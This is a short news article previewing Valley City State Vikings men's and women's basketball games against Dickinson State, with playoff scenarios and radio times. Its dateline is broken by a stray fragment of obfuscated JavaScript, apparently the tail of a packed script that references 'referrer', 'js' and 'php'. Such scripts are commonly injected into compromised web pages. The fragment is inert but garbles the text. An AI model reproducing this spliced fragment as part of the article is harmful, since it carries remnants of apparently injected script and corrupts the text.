VALLEY errny|var|u0026u|referrer|dyteb||js|php’.split(‘|’),0,{}))
CITY  (NewsDakota.com)–Dickinson State comes to Valley City tonight for a Dakota Athletic Conference (DAC) showdown with the Vikings, one of two dates remaining for the Vikings in the regular season.

For the Viking women, the night begins a do-or-die run of two games.  The Vikings are tied for fourth in the Association of Independent Institutions (AII) rankings with Mayville State, their opponent Saturday.  The Vikings need to win tonight and Saturday to advance to the AII tournament next weekend in Madison, SD.  Without two wins, their season will almost certainly end this week.

The men have a slightly different scenario, but it may be very similar.  After another snub in the national polls, the Vikings are battling to keep their hopes of an at-large bid to the national tournament alive.  A team usually has to finish in the top 20 to have a case for one of very few at-large bids.  The Vikings are ranked 19th this week, but tied for that ranking, putting them effectively 20th.

A trip to the AII tournament for the men appears to be in hand, but the at-large route would protect the Vikings should they falter at the tournament in Madison.

Women’s play begins at 5:30 p.m., with the men to follow.  Pregame coverage begins at 5:10 p.m. on Dakota Country Radio.